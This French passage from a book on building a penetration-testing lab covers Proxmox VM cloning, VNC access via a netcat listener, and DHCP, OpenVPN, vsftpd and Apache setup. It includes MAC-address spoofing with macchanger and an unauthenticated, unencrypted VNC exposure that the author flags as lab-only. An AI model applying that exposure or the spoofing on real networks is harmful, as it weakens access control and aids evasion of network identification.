MEM(MB) 512 512

BOOTDISK(GB) PID 10.00 0 10.00 0

Lors de la restauration, nous avons placé le paramètre unique à 1. Ceci permet de générer une nouvelle adresse MAC pour la VM clonée. Comparons les deux fichiers de configuration des VM 500 et 501. root@proxmox:~# more /etc/pve/qemu-server/500.conf bootdisk: ide0 cores: 1 ide0: local:500/vm-500-disk-1.raw,size=10G ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K kvm: 0 memory: 512 name: Win1 net0: rtl8139=82:EE:6A:BE:82:DA,bridge=vmbr0 ostype: wxp sockets: 1 root@proxmox:~# more /etc/pve/qemu-server/501.conf bootdisk: ide0 cores: 1 ide0: local:501/vm-501-disk-1.raw,size=10G ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K kvm: 0 memory: 512 name: Win2 net0: rtl8139=EE:79:7D:A2:BD:0F,bridge=vmbr0 ostype: wxp sockets: 1 root@proxmox:~#

Les adresses MAC sont bien différentes ainsi que le nom de VM et, le plus important, le nom du disque dur. L’émulation d’une machine avec KVM / QEMU étant totale au niveau du matériel, elle est souvent utilisée dans le cas de machines Windows. Pour accéder à ces machines, nous avons vu qu’il était possible de le faire via l’interface web dans une console Java. Cette console n’est pas toujours très stable et il est parfois préférable d’envisager d’autres moyens d’accéder à la VM si nous en avons la possibilité. Ce n’est bien entendu pas toujours le cas. Dans la situation où nous nous trouvons, nous avons le contrôle total de notre serveur Proxmox et du

réseau. Nous pouvons donc ouvrir un port qui sera redirigé vers un contrôle distant de type VNC (Virtual Network Computing) de notre machine virtuelle. En effet, Proxmox utilise VNC pour l’accès aux machines KVM. Cette connexion passe par un proxy VNC. Il est possible de passer un argument à la VM soit en ligne de commande, soit directement dans son fichier de configuration. Nous allons modifier celui-ci pour qu’il écoute sur une IP quelconque sur un port donné. Pour ce faire, nous ajoutons la ligne suivante à la fin du fichier /etc/pve/qemu-server/500.conf : args: -vnc 0.0.0.0:100

Attention, l’écoute d’une connexion VNC se fera sur toutes les adresses IP mais pas sur le port 100 comme indiqué en fin de ligne. En effet, le port par défaut étant 5900, le nombre mentionné en fin de ligne sera ajouté au port initial. L’écoute se fera donc ici sur le port 6000. Il faut ensuite rediriger la connexion effectuée sur le Proxmox dans le proxy VNC de la VM. Ceci est assez simple avec la commande suivante : root@proxmox:~# nc -l -p 5900 -c "qm vncproxy 500"

Voilà, nous pouvons nous connecter à la VM d’ID 500 en VNC sur le port 6000. Mais quel client utiliser ? Dans le cas d’un système Windows, nous vous conseillons TightVNC disponible à l’adresse suivante : http://www.tightvnc.com/ Il existe une version complètement Open Source de celui-ci. Nous téléchargeons celle-ci et l’installons. Nous validons le premier écran et le deuxième en cochant l’acceptation de la licence. Nous ne voulons installer que le client et pas le serveur. Nous cliquons alors sur Custom au troisième écran.

Nous choisissons de ne pas installer le serveur (Entire feature will be unavailable) et passons à la suite. Pour les deux écrans suivants, nous acceptons les options par défaut, puis l’installation s’effectue. Il ne reste plus qu’à cliquer sur Finish au dernier écran. Nous démarrons TightVNC et saisissons l’adresse de notre serveur Proxmox dans le champ requis, suivie du port 6000 séparé par « :: » de l’IP, puis cliquons sur Connect.

La connexion s’établit et nous sommes face à notre VM Windows d’ID 500.

La procédure est encore plus simple sous Linux. Si vous êtes sous Debian, TightVNC se trouve dans les dépôts : root@bt:~# aptitude search tightvnc p tightvnc-java java applet and command line program p tightvncserver network computing server software c xtightvncviewer network computing client software for X root@bt:~#

- TightVNC - virtual - virtual

Un simple aptitude install fera l’affaire. Bien souvent, le paquet est déjà installé avec la distribution. root@bt:~# aptitude install xtightvncviewer Reading package lists... Done Building dependency tree Reading state information... Done Reading extended state information Initializing package states... Done The following NEW packages will be installed: xtightvncviewer 0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 63.7kB of archives. After unpacking 201kB will be used.

1.3.9-6) ... ... Processing triggers for menu ... Reading package lists... Done Building dependency tree Reading state information... Done Reading extended state information Initializing package states... Done Writing extended state information... Done root@bt:~#

Le client VNC peut alors être lancé en précisant l’IP du serveur et le port d’écoute. root@bt:~# vncviewer 10.5.5.2::6000 VNC Viewer Free Edition 4.1.1 for X - built Apr 9 2010 15:52:37 Copyright (C) 2002-2005 RealVNC Ltd. See http://www.realvnc.com for information on VNC. Sat Apr 6 09:35:41 2013 CConn: connected to host 10.5.5.2 port 6000 CConnection: Server supports RFB protocol version 3.8 CConnection: Using RFB protocol version 3.8 TXImage: Using default colormap and visual, TrueColor, depth 24. CConn: Using pixel format depth 6 (8bpp) rgb222 CConn: Using ZRLE encoding

Nous voyons la connexion s’établir et nous nous trouvons face à l’écran de la VM d’ID 500.

Ici, nous ne trouvons pas le menu de configuration comme sous Windows, mais nous pouvons faire apparaître celui-ci en pressant [F8]. Le fait de passer par le serveur vncproxy du Proxmox permet d’accéder à toutes les VM sans distinction de système d’exploitation et en évitant la console Java. Cela permet aussi l’installation de tout type de système d’exploitation. Attention, la procédure que nous avons indiquée ici est purement pratique dans le cadre d’un laboratoire. Elle n’est absolument pas sécurisée, car tout le monde peut se connecter aux VM sans restriction et les communications ne sont pas chiffrées. Par la suite, une fois les systèmes installés sur les VM, il est possible d’envisager toutes les techniques d’administration distante, par exemple :     

Installer un serveur VNC directement sur le système de la VM. Utiliser Rdesktop pour les machines Windows. Utiliser SSH pour les machines Linux. Utiliser des services de connexions de machines par serveur extérieur intermédiaire comme TeamViewer ou Logmein. Établir une connexion VNC chiffrée par un certificat sur Proxmox.

Toutes ces techniques dépassent le cadre de notre laboratoire de test et nous ne les développerons pas ici. Nous vous conseillons malgré tout dans le cadre d’une mise en production de vous intéresser de près à celles-ci.

Conclusion Ce chapitre nous a montré la puissance qu’offre la mise en place d’un serveur Proxmox. Si la création de machines virtuelles avec KVM permet d’émuler le matériel et d’installer des systèmes complets, nous constatons que son utilisation est moins souple que celle d’OpenVZ. C’est pour cette raison que nous vous conseillons d’utiliser plutôt des conteneurs quand cela est possible. Proxmox offre bien d’autres possibilités et nous n’avons parcouru que celles qui nous paraissaient essentielles pour la mise en place de notre laboratoire de test. Pour passer à une réelle mise en production de services sur ce type de serveur, nous ne saurions trop vous conseiller de vous reporter à la documentation de Proxmox. Notre laboratoire n’est pas encore prêt pour commencer des tests de pénétration. Il faut à présent mettre en place tout ce qui est rencontré couramment dans un réseau d’entreprise, privé ou d’administration. Le chapitre suivant va être consacré à ces installations.

Machines virtuelles et services Introduction Le Proxmox étant installé, nous allons nous atteler à créer différentes machines virtuelles telles que présentées dans le chapitre Proxmox. Pour chacune des parties suivantes, nous aurons, au préalable, installé une machine virtuelle sous Debian. Nous ne reviendrons pas sur l’installation des différentes machines virtuelles mais nous nous concentrerons sur les services à installer. Nous aurons besoin, pour la création de notre laboratoire, de desservir du DHCP, d’avoir accès en VPN sur notre Proxmox, d’avoir un accès à un serveur FTP, de disposer d’un serveur sous asterisk pour tester la VoIP, de différentes autres machines où nous installerons des épreuves de hacking telles que des crackmes, des wargames, des failles web, mais nous aurons aussi besoin de superviser tout cela. Dans ce chapitre, nous créerons et installerons puis configurerons les différentes machines suivant nos besoins afin d’avoir à la fin du chapitre un laboratoire fonctionnel de hacking.

Serveur DHCP Nous aurons peut-être à un certain moment besoin de donner des adresses IP à nos différentes machines, qu’elles soient virtuelles ou réelles. Un serveur DHCP nous simplifiera la vie et nous permettra d’attribuer des adresses IP aléatoires ou non suivant la configuration de ce dernier.

Nous ferons le choix de distribuer des adresses IP fixes pour nos machines virtuelles et des adresses IP dynamiques pour les autres machines, c’est-à-dire nos machines clientes.

1. Installation des paquets nécessaires Nous allons d’abord installer les paquets nécessaires : fasm# aptitude install isc-dhcp-server

Le paquet est maintenant installé mais le serveur DHCP ne peut pas se lancer pour l’instant ; nous devons configurer le serveur. Le service qui était avant dhcpd est maintenant devenu isc-dhcp-server. Rappelons ici que pour lancer le serveur comme la plupart des services sous Debian et Ubuntu, le stopper ou le relancer, nous pourrons utiliser ces commandes : fasm# service isc-dhcp-server start|stop|restart

2. Configuration Le fichier de configuration se trouve dans /etc/dhcp et se nomme dhcp.conf. Nous pouvons ouvrir ce fichier :

Ci-dessus nous avons bien sûr un extrait de la configuration par défaut. La plupart des possibilités offertes par ce serveur DHCP sont écrites mais « dévalidées » grâce au signe ’#’ qui se trouve devant la ligne. Nous avons juste à supprimer le ’#’ et à modifier la configuration en fonction de notre réseau (masque de réseau, adressage IP, passerelle, DNS…) suivant ce que nous avons décidé comme distribution d’adresses DHCP. Ce qui nous importe est la partie qui va nous permettre d’attribuer des adresses IP dynamiques pour les machines clientes et des adresses IP fixes pour les machines virtuelles. Il nous faudra donc déjà pour ces dernières connaître leur adresse MAC. Un simple ifconfig nous fournira ces informations :

L’adresse MAC par exemple pour cette machine virtuelle est, pour l’interface réseau eth0, 08:00:27:5e:7b:a7. eth0 est le nom de notre carte réseau sous Linux ; cela aurait pu être eth1, eth2 wlan0 ou autre suivant notre type de liaison (filaire ou Wi-Fi). Nous pouvons donc maintenant commencer à configurer le fichier /etc/dhcp/dhcpd.conf.

Nous allons donc ouvrir ce fichier, grâce à nano par exemple, et indiquer les adresses MAC correspondant à des adresses IP suivant le plan d’adressage que nous aurons défini, par exemple, 192.168.1.0 / 24.

Dans l’exemple ci-dessus, deux machines sont configurées en adresses IP fixes, la machine vm_ftp d’adresse MAC 08:00:27:5e:7b:a7 et la machine vm_web d’adresse MAC 08:00:27:5e:7b:a2 qui auront respectivement les adresses IP 192.168.1.2 et 192.168.1.3. La configuration type pour chaque machine est : host nom_machine { hardware ethernet adresse_MAC ; fixed-address adresse_IP ; }

Nous pourrons de la même manière imposer les adresses IP en fonction des adresses MAC des autres machines virtuelles. Rappelons que l’adresse MAC est composée de six octets séparés par des « : » et que les trois premiers octets sont l’identifiant du constructeur et les trois derniers, un numéro unique correspondant à l’interface réseau. En théorie, cette adresse MAC est unique et devait être infalsifiable à sa création mais nous en sommes loin car une simple commande Linux permet de la changer. Nous pourrons si nous le souhaitons installer le paquet macchanger qui permet de changer ces adresses MAC mais au redémarrage de la machine, l’adresse MAC d’origine sera restaurée. fasm# aptitude install macchanger macchanger-gtk

Les commandes suivantes permettent de changer entre autres votre adresse MAC : # macchanger eth1

Current MAC: 00:40:96:43:ef:9c [wireless] (Cisco/Aironet 4800/340) Faked MAC: 00:40:96:43:ef:9d [wireless] (Cisco/Aironet 4800/340) # macchanger --endding eth1 Current MAC: 00:40:96:43:e8:ec [wireless] (Cisco/Aironet 4800/340) Faked MAC: 00:40:96:6f:0f:f2 [wireless] (Cisco/Aironet 4800/340) # macchanger --another eth1 Current MAC: 00:40:96:43:87:1f [wireless] (Cisco/Aironet 4800/340) Faked MAC: 00:02:2d:ec:00:6f [wireless] (Lucent Wavelan IEEE) # macchanger -A eth1 Current MAC: 00:40:96:43:39:a6 [wireless] (Cisco/Aironet 4800/340) Faked MAC: 00:10:5a:1e:06:93 (3Com, Fast Etherlink XL in a Gateway) # macchanger -r eth1 Current MAC: 00:40:96:43:f1:fc [wireless] (Cisco/Aironet 4800/340) Faked MAC: 6b:fd:10:37:d2:34 (unknown) # macchanger --mac=01:23:45:67:89:AB eth1 Current MAC: 00:40:96:43:87:65 [wireless] (Cisco/Aironet 4800/340) Faked MAC: 01:23:45:67:89:ab (unknown) # ./macchanger -list=Cray Misc MACs: Num MAC Vendor --- --- -----065 -- 00:00:7d -- Cray Research Superservers,Inc 068 -- 00:00:80 -- Cray Communications (formerly Dowty Network Services) 317 -- 00:40:a6 -- Cray Research Inc.

Il nous faudra bien sûr configurer chaque machine virtuelle pour que leur interface, eth0 par exemple, soit en DHCP (client). Nous verrons cela lorsque nous aurons fini de configurer le serveur. Nous pouvons passer maintenant à la configuration des machines clientes qui seront en adressage dynamique. Ces machines devront bien sûr être sur la même plage réseau que les différentes VM afin qu’elles puissent communiquer.

Nous avons ci-dessus la configuration correspondant à l’adressage des machines virtuelles, soit de 192.168.1.20 à 192.168.1.100. Comme dit précédemment, ces machines seront en adressage dynamique, c’est-à-dire qu’elles pourraient changer d’adresse IP à chaque redémarrage. Nous aurions pu bien sûr limiter le nombre de machines et n’autoriser qu’à distribuer des adresses IP allant de 192.168.1.20 à 192.168.1.30 si nous n’avions besoin que de 11 machines virtuelles (le principe est identique pour des machines non virtuelles). La configuration minimale pour déterminer des adresses IP statiques est donc : Subnet adresse_reseau netmask masque_reseau { range ip_premiere_machine ip_derniere_machine ; option routeurs ip_passerelle ; }

Il existe bien sûr beaucoup d’options et configurations possibles, nous pourrons pour cela aller rechercher sur Internet toutes les possibilités offertes par le serveur DHCP suivant nos besoins. Les machines qui se connecteront en DHCP sur ce réseau obtiendront donc automatiquement une adresse IP. Sous Linux, il suffit d’effectuer la commande suivante pour obtenir une adresse IP : client1# dhclient eth0

On suppose bien sûr que l’interface réseau du client est eth0. Pour connaître le nom des différentes cartes réseau de notre machine, il suffit d’exécuter la commande suivante : fasm# ifconfig -a

Si nous effectuons un simple ifconfig et que nous ne voyons pas de carte réseau ou pas toutes, imaginons que ce soit eth1 que nous ne voyons pas, il suffit de faire : fasm#ifconfig eth1 up

Avant de tenter de lancer le serveur DHCP, il va falloir que la machine virtuelle DHCP ait une adresse IP statique dans la plage réseau configurée dans dhcpd.conf. Nous allons pour cela configurer le fichier interfaces qui se trouve dans /etc/network. Nous lui attribuerons l’adresse IP 192.168.1.1. Nous pouvons ouvrir ce fichier grâce à nano par exemple : fasm#nano /etc/network/interfaces

La configuration par défaut est une demande DHCP. Nous devons donc changer cela pour une adresse IP statique. Ainsi, à chaque redémarrage, la machine aura toujours la même adresse IP.

Nous pouvons maintenant relancer les interfaces réseau. Pour cela, nous devrons nous rendre dans /etc/init.d afin de trouver le démon réseau qui se nomme networking. La commande sera donc : fasm #/etc/init.d/networking restart

Si nous souhaitons juste le stopper, nous remplacerons restart par stop ou par start si nous voulons le lancer.

Nous voyons ici que dans la partie eth0, après inet adr:, nous avons notre adresse IP inscrite avec un masque en /24 en notation CIDR, soit 255.255.255.0. La configuration a réussi ; nous pouvons tenter de lancer le serveur DHCP.

Tout fonctionne parfaitement, nous avons maintenant un serveur DHCP fonctionnel. Nous pourrons tester le bon fonctionnement dès que nous aurons une autre machine virtuelle dans laquelle nous lancerons un dhclient eth0 par exemple et qu’une adresse IP sera distribuée. Nous pouvons passer à l’installation et la configuration des autres services.

OpenVPN OpenVPN est une solution qui se base sur SSL et son port est 1194. Il est composé d’un serveur et de clients. Il va donc y avoir une authentification du client et du serveur et la création d’un canal sécurisé entre les deux. Ce service est assez simple à configurer si nous suivons bien la procédure décrite ci-dessous. Nous devons maintenant, avec le chapitre Proxmox, avoir toutes les notions nécessaires et connaître parfaitement la définition et le fonctionnement de route et bridge. Rappelons quand même qu’il existe deux modes de fonctionnement, le « routé » et le « bridgé »: 

Le mode routé permet de connecter des utilisateurs itinérants à un réseau interne. Nous appelons aussi cela le NAT. Dans une machine virtuelle en NAT, la machine aura une adresse différente (réseau différent) de la machine réelle. Par exemple, la machine réelle pourra être en 192.168.1.0 et les machines en NAT en 10.2.0.0.



Le mode ponté ou bridgé permet de relier entre eux deux sous-réseaux. Nous pourrons dans ce cas avoir par exemple la machine réelle dans la même plage d’adresse IP que la machine virtuelle.

Grâce à OpenVPN, nous allons pouvoir accéder de n’importe où dans le monde à nos ressources locales de manière sécurisée, soit ici notre laboratoire.

1. Installation des paquets Ici encore rien de plus facile, un simple aptitude install et le logiciel est installé sur notre machine, qui, je le rappelle, peut être une nouvelle machine virtuelle sous Debian par exemple. Nous aurions pu aussi installer le VPN sur la même machine que la VM DHCP mais nous préférons ici une machine par service. fasm# aptitude install openvpn

Nous allons ensuite copier les fichiers de configuration : sudo mkdir /etc/openvpn/easy-rsa/ sudo cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/ openvpn/easy-rsa/ sudo chown -R $USER /etc/openvpn/easy-rsa/

Nous sommes prêts pour configurer maintenant le serveur et le client.

2. Configuration a. Serveur Nous allons regarder ce qui a été copié dans le répertoire easy-rsa :

Éditons le fichier vars.

Nous avons ici les valeurs par défaut des variables. Nous allons donc entrer ce que nous désirons, par exemple :

Nous allons maintenant générer les certificats (.crt) et les clés (.key) : cd /etc/openvpn/easy-rsa/ source vars ./clean-all ./build-dh ./pkitool -initca ./pkitool -server server sudo openvpn -genkey -secret keys/ta.key

Il nous reste à exécuter la dernière commande et à aller voir si les clés ont bien été générées dans le répertoire keys :

Les clés et certificats sont donc bien présents. Ce qui nous intéresse, ce sont les fichiers server.crt, server.key, ta.key, dh1024.pem, ca.key et ca.crt. Nous avons besoin de les déplacer. Nous pouvons donc les copier dans /etc/openvpn : sudo cp keys/ca.crt keys/ta.key keys/server.crt keys/server.key keys/dh1024.pem /etc/openvpn/

La création des certificats du côté serveur est terminée. Nous pouvons maintenant générer un répertoire /etc/openvpn/jail dans lequel le processus OpenVPN sera « chrooté » (c’est-à-dire que chacun sera prisonnier de son espace personnel) afin de limiter les dégâts en cas de faille dans OpenVPN, puis un autre répertoire, /etc/openvpn/clientconf, qui contiendra la configuration des clients. Chrooter un programme consiste à le lancer en utilisant la commande chroot. Cette commande permet de changer l’emplacement de la racine (/). C’est-à-dire que les utilisateurs auront l’impression d’être à la racine (/) alors qu’en réalité ils se trouveront dans /etc/openvpn/jail. D’un point de vue sécurité, ils seront comme « enfermés » dans ce répertoire et ne pourrons en théorie pas en sortir. sudo mkdir /etc/openvpn/jail sudo mkdir /etc/openvpn/clientconf

Nous pouvons maintenant passer au fichier de configuration principal et créer le fichier server.conf qui se trouve dans /etc/openvpn/. fasm# nano server.conf # Serveur TCP/443 mode server dev tun proto tcp port 443 dev tun # Cles et certificats ca ca.crt cert server.crt key server.key dh dh1024.pem tls-auth ta.key 0 cipher AES-256-CBC # Reseau server 10.8.0.0 255.255.255.0 push "redirect-gateway def1 bypass-dhcp" push "dhcp-option DNS 8.8.8.8″ push "dhcp-option DNS 8.8.4.4″ keepalive 10 120 # Securite user nobody group nogroup chroot /etc/openvpn/jail persist-key persist-tun

comp-lzo # Log verb 3 mute 20 status openvpn-status.log ; log-append /var/log/openvpn.log

Le fichier server.conf est configuré sur le port 443 en TCP mais nous pouvons bien sûr définir le protocole UDP et le port que nous souhaitons. Nous pouvons maintenant tester notre configuration : fasm#openvpn server.conf

Nous obtenons à la fin « Sequence Completed ». La configuration précédente est donc correcte. Nous pouvons reprendre le fichier précédent afin d’ajouter une dernière ligne : log-append /var/log/openvpn.log

Nous pouvons lancer le serveur maintenant : fasm# /etc/init.d/openvpn start

Le serveur est lancé, le client peut se connecter sur ce dernier mais nous ne pouvons pas faire grand-chose de plus. En effet, la plage d’adresses 10.8.0.0 n’est pas routée. Il va donc falloir maintenant router cela. Nous allons donc configurer le serveur pour qu’il joue le rôle de routeur entre l’interface VPN (tun0) et l’interface physique eth0 et « natter » les adresses en 10.8.0.x vers l’adresse réelle.

Nous aurions pu configurer le serveur non pas en « tun » mais en « tap ». La littérature d’OpenVPN nous indique qu’il est souhaitable de rester en tun. Tun et tap sont des périphériques virtuels. Tap simule un lien (link layer) et se situe au niveau de la couche 2 du modèle OSI. Tun est un tunnel réseau qui simule un périphérique de la couche Ethernet et qui travaille avec la couche 3 du modèle OSI comme les paquets IP. Nous allons d’abord autoriser le forwarding (routage) : fasm# echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre ce paramètre permanent, même après un redémarrage, nous devons entrer dans le fichier /etc/sysctl.conf et mettre la variable net.ipv4.ip_forward=1, cette variable étant déjà présente dans le fichier de configuration mais initialisée à 0. Nous devons maintenant réaliser la translation d’adresse (NAT) et ce, grâce aux règles iptables. Iptables sera vu en détail dans le chapitre Sécurisation du PC qui parlera de sécurisation des systèmes. Mais pour l’instant, contentons-nous d’appliquer la règle suivante : fasm#iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE

Pour être concis pour l’instant, tout ce qui transite par le réseau 10.8.0.0/24 est transféré vers la carte réseau eth0. Nous obtenons donc directement, dès la validation de cette règle, l’accès au réseau, surtout à Internet, du client connecté au VPN. Nous pouvons bien entendu rendre cette règle fixe même au redémarrage en sauvegardant celle-ci. iptables-save > /etc/iptables.rules

Le serveur est prêt, nous pouvons configurer à présent le client. b. Client Nous allons encore un peu rester sur le serveur, nous devons en effet générer les clés pour chaque client que nous souhaitons accueillir. Supposons que nous souhaitions créer une clé pour un client Franck. Nous devons d’abord nous rendre dans le dossier approprié et générer ensuite la clé. cd /etc/openvpn/easy-rsa source vars ./build-key Franck

Voici ce que nous obtenons :

Le script a généré trois fichiers dans /etc/openvpn/easy-rsa/keys/ :   

Franck.crt : certificat pour le client Franck.key : clé pour le client Franck.csr : certificat à garder sur le serveur

Pour nous simplifier la tâche, nous allons créer une archive avec les clés afin de transmettre facilement ces dernières au client. Nous allons pour cela copier les fichiers nécessaires pour le client dans son dossier sur le serveur, dossier que nous allons créer.

fasm#mkdir /etc/openvpn/clientconf/Franck fasm#cp /etc/openvpn/ca.crt /etc/openvpn/ta.key keys/Franck.crt keys/Franck.key /etc/openvpn/clientconf/Franck

Nous allons maintenant entrer dans le répertoire du client puis configurer un fichier que nous nommerons client.conf. fasm#cd /etc/openvpn/clientconf/Franck fasm# nano client.conf # Client client dev tun proto tcp-client #adresse IP du serveur VPN remote 192.168.1.2 443 resolv-retry infinite cipher AES-256-CBC # Cles ca ca.crt cert Franck.crt key Franck.key tls-auth ta.key 1 # Securite nobind persist-key persist-tun comp-lzo verb 3

Si nous souhaitons utiliser OpenVPN sous Windows, il nous suffira de renommer ce fichier client.conf en client.ovpn. Nous exécuterons donc la commande : fasm#cp client.conf client.ovpn

Il suffit maintenant de transférer tous ces fichiers au client en le zippant par exemple grâce à la commande zip. fasm@/etc/openvpn/clientconf/Franck# zip Franck.zip *.*

Nous pouvons transférer ce fichier au client qui le dézippera dans un répertoire qu’il aura préalablement créé (exemple : /home/fasm/vpn/). Sur le client, dès réception du fichier, nous nous placerons dans le répertoire désiré et nous exécuterons : Client$unzip Franck.zip

Le client se placera ensuite dans ce répertoire et lancera la commande : Client# openvpn client.conf

Si tout se passe bien, nous obtiendrons l’écran suivant :

Voilà, nous sommes dans un VPN, une connexion sécurisée, et à partir de maintenant, n’importe où dans le monde, nous avons accès à nos machines. Que se passe-t-il si nous sommes dans une entreprise et que nous passons par un proxy ? Dans ce cas, pas de problème, il suffit d’ajouter une ligne dans le client.conf : http-proxy adresse_ip_proxy port_proxy passwd.txt basic

Le fichier passwd.txt qui se trouvera dans le même répertoire que client.conf comportera en première ligne votre login de connexion et en deuxième ligne votre mot de passe.

Serveur FTP Nous aurons besoin dans notre laboratoire de mettre à disposition de la documentation, des binaires ou autres. Un moyen rapide et efficace est d’avoir à disposition un serveur FTP. Il en existe beaucoup, nous prendrons VsFTP. Que souhaitons-nous ?   

Que chaque utilisateur se connecte avec un identifiant propre. Le système pourra ainsi garder la trace des actions de chacun (savoir qui fait quoi). Que chaque utilisateur dispose d’un espace où il puisse stocker ses fichiers de façon privée. Que chaque utilisateur puisse accéder à un espace public.

Tout cela est faisable facilement grâce à vsftpd (Very Secure FTPd ) qui équipe des serveurs FTP tels que ceux de Red Hat, Suse, OpenBSD, kernel.org et Debian.

1. Installation Là non plus, rien de très compliqué : il suffit d’exécuter la commande ci-après : fasm#aptitude install vsftpd

Ceci, dans une nouvelle machine virtuelle nommée par exemple VM-FTP. L’installation est terminée.

2. Configuration Ici, pas trop de questions à se poser, nous n’aurons qu’un seul fichier de configuration à modifier. Par défaut, si nous laissons le fichier d’installation, nous pouvons nous connecter en anonyme sur le serveur FTP (après l’avoir lancé, bien sûr). Nous allons donc modifier tout cela pour l’adapter à notre vision du FTP. Nous allons ouvrir le fichier vsftpd.conf qui se trouve dans /etc/. Dans le fichier ci-dessous, nous avons pour chaque configuration, l’explication incluse juste au-dessus. # Nous voulons que le serveur fonctionne en mode standalone listen=YES # # On ne veut surtout pas de connexions en mode anonymous anonymous_enable=NO # # On veut que les utilisateurs locaux puissent se connecter local_enable=YES # # On veut que les utilisateurs puissent remonter des fichiers sur # le serveur write_enable=YES # # On fixe le masque local a 022 (les fichiers remontés auront # des droits en 755) local_umask=022 # # On interdit l’upload anonyme anon_upload_enable=NO # # Idem pour la creation de repertoires anon_mkdir_write_enable=NO # # On demande a ce que les actions des utilisateurs soient loguees xferlog_enable=YES # # On verifie que la commande PORT provient bien du port 20 de

# la machine cliente connect_from_port_20=YES # # Les logs seront enregistres dans le fichier /var/log/vsftpd.log xferlog_file=/var/log/vsftpd.log # # On declare les valeurs de timeout. Celles fournies par defaut # sont ok pour notre utilisation idle_session_timeout=300 data_connection_timeout=120 connect_timeout=60 accept_timeout=60 # # Par securite, on interdit la commande ABOR async_abor_enable=NO # # Les transferts en ASCII sont souvent source de confusion ascii_upload_enable=NO ascii_download_enable=NO # # Par securite, on change la banniere ftpd_banner=Bienvenue sur le serveur du Laboratoire de Hacking # # On veut limiter les utilisateurs a leur repertoire chroot_local_user=YES chroot_list_enable=NO # # Les heures d’enregistrement des fichiers seront affichees a # l’heure locale use_localtime=YES

Nous pouvons maintenant tenter de lancer le serveur FTP : fasm#/etc/init.d/vsftpd start

Le serveur est lancé. Les utilisateurs ont accès à leur répertoire personnel (il faut que les utilisateurs aient tous été créés sur le serveur) et leurs actions sur le serveur sont enregistrées dans /var/log/vsftpd.log. Nous allons en créer un pour nous rappeler les commandes :

Dans l’exemple ci-dessus, nous créons un utilisateur codej grâce à la commande adduser. Des renseignements nous sont demandés dont le plus important, le mot de passe. Une fois reçue la confirmation que les informations correctes ont été renseignées, l’utilisateur a son espace personnel dans /home/codej. Nous pouvons créer autant d’utilisateurs que nous le souhaitons. Nous continuerons par la création d’un espace commun à tous les utilisateurs. Nous allons donc créer de nouveau un utilisateur que nous nommerons par exemple « pour_tous ». Les fichiers devront être lus par n’importe quel utilisateur, nous allons donc devoir attribuer des droits à ce répertoire un peu spécial. fasm#chmod -R 755 /home/pour_tous fasm#chown pour_tous:pour_tous -R /home/pour_tous

Nous donnons donc les droits 755 au fichier pour_tous. Cela veut dire que l’utilisateur pour_tous a les droits en lecture, écriture et exécution. Le groupe pour_tous a les droits en lecture et exécution et enfin, les autres ont les droits en lecture et exécution. Nous allons maintenant créer dans chaque répertoire de chaque utilisateur un répertoire « pour_tous ». fasm#mkdir /home/codej/pour_tous fasm#chown codej:codej /home/codej/pour_tous fasm#chmod 755 /home/codej/pour_tous

Nous devons ensuite créer le lien entre le répertoire pour_tous de /home et le répertoire pour_tous de chaque utilisateur. Nous allons pour cela aller dans le fichier /etc/fstab afin d’ajouter une ligne par utilisateur. fasm#nano /etc/fstab /home/pour_tous /home/codej/pour_tous auto bind,defaults 0 0

Nous pouvons maintenant monter ce répertoire : fasm#mount /home/codej/pour_tous

Nous pouvons nous connecter maintenant avec un client FTP quelconque, par exemple FileZilla, pour vérifier le bon fonctionnement de notre serveur FTP.

Nous sommes connectés au serveur FTP. Nous pouvons maintenant mettre à disposition les fichiers que nous voulons partager.

Serveur web Dans les challenges de sécurité informatique, les épreuves les plus réussies et les mieux appréciées sont les épreuves web (détection des failles web). Dans un prochain chapitre, nous verrons comment mettre en place ces épreuves afin de tester notre capacité à les résoudre. Pour cela, nous avons besoin d’un serveur web. Le plus célèbre est Apache, il est produit par la « Apache Software Foundation ».

1. Installation fasm# aptitude install apache2

2. Configuration Une configuration minimale et beaucoup plus simple sera expliquée dans le prochain chapitre. Nous allons donc ici détailler une installation un peu plus compliquée mais plus adaptable à nos besoins. Tous les fichiers de configuration sont dans le répertoire /etc/apache2. Si nous exécutons une commande ls dans ce répertoire, nous trouverons 9 fichiers qui ont chacun une utilité détaillée ci-dessous et qui est une traduction de la documentation officielle :     

   

httpd.conf est le fichier utilisé par Apache1, il est conservé vide dans Apache2 pour assurer la rétrocompatibilité. Il ne nous servira pas. envvars est utilisé pour définir des variables d’environnement propres à Apache. ports.conf contient la directive Listen qui spécifie les adresses et les ports d’écoute. apache2.conf est le fichier principal de configuration car c’est à partir de lui que tous les autres fichiers sont chargés. conf.d est un répertoire qui contient plusieurs petits fichiers qui seront analysés par Apache. Le seul fichier pour le moment est charset, qui spécifie l’encodage à utiliser par défaut. mods-available contient la liste des modules d’Apache installés. mods-enabled contient celle des modules utilisés. sites-available contient la liste des vhosts installés. sites-enabled contient celle des vhosts utilisés.

Nous pouvons commencer par ouvrir le fichier ports.conf :

Pour restreindre l’utilisation à une ou plusieurs interfaces, il nous suffit de les spécifier, suivies du port. Il faut une directive Listen par interface.   

Si le serveur est connecté avec une IP Internet et que nous souhaitons écouter sur cette interface, nous ajouterons la directive Listen IP_Internet. Si le serveur est connecté avec une IP locale et que nous souhaitons écouter sur cette interface, nous ajouterons la directive Listen IP_locale. Si nous souhaitons écouter sur un certain port, nous rajouterons Le_Port. Il est aussi possible de ne spécifier que le port et de ne pas renseigner l’adresse IP : Listen Le_Port.

Nous pourrons donc définir les interfaces en ouvrant le fichier ports.conf et en ajoutant : #interface (local ou internet) connectée sur port standard Listen X.X.X.X:80 # toutes les interfaces connectées sur port SSL Listen 443

Le prochain fichier à éditer pour la configuration est le fichier apache2.conf. L’explication de cette configuration se trouve dans le fichier ci-dessous : # Répertoire racine du serveur ServerRoot "/etc/apache2" # Fichier de verrouillage (lock) du serveur # IL DOIT SE TROUVER SUR LE DISQUE LOCAL # # LockFile /var/lock/apache2/accept.lock

